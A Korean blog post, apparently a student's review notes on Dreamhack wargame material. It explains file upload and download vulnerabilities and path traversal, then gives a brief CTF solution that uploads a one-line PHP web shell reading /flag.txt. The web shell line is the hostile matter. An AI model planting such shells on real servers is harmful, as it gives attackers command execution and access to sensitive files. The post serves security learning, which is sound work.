웹 보안

[Dreamhack] File Vulnerability 복습

tree frog 2024. 5. 16. 18:53

 File Upload Vulnerability

- 공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점입니다. 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생합니다. 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있습니다.

 

File Download Vulnerability

- 웹 서비스의 파일 시스템에 존재하는 파일을 다운로드 하는 과정에서 발생하는 보안 취약점입니다. 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드 받을 수 있습니다. 설정 파일, 패스워드 파일, 데이터 베이스 백업 본 등을 다운로드 하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있습니다.

 

Path Traversal

- 업로드에 존재하는 제약을 우회하여, 임의 디렉터리에 파일을 업로드 할 수 있는 취약점

 

악성 파일 업로드

악성 파일 업로드 취약점은 이용자가 파일을 업로드 할 때, 이를 제대로 검사하지 않아서 발생하는 취약점을 말합니다.

 

 

-file vulnerability 드림핵 문제

 

문제에서 플래그 위치를 확인하고 아래 명령어를 저장해서 업로드 한다.

 

 

<?system("cat /flag.txt")?>

 

웹 쉘 업로드 

 

그리고 들어가면 플래그 도출 완료!

 

'웹 보안' 카테고리의 다른 글

[Dreamhack] command injection 복습  (0) 2024.05.16
5/7 최신동향 (정형,비정형 데이터 가명처리)  (0) 2024.05.13
Dreamhack 워게임 (session)  (0) 2024.04.02
Dreamhack 워게임 (pathtraversal)  (0) 2024.04.02
Dreamhack (web-ssrf)  (0) 2024.03.28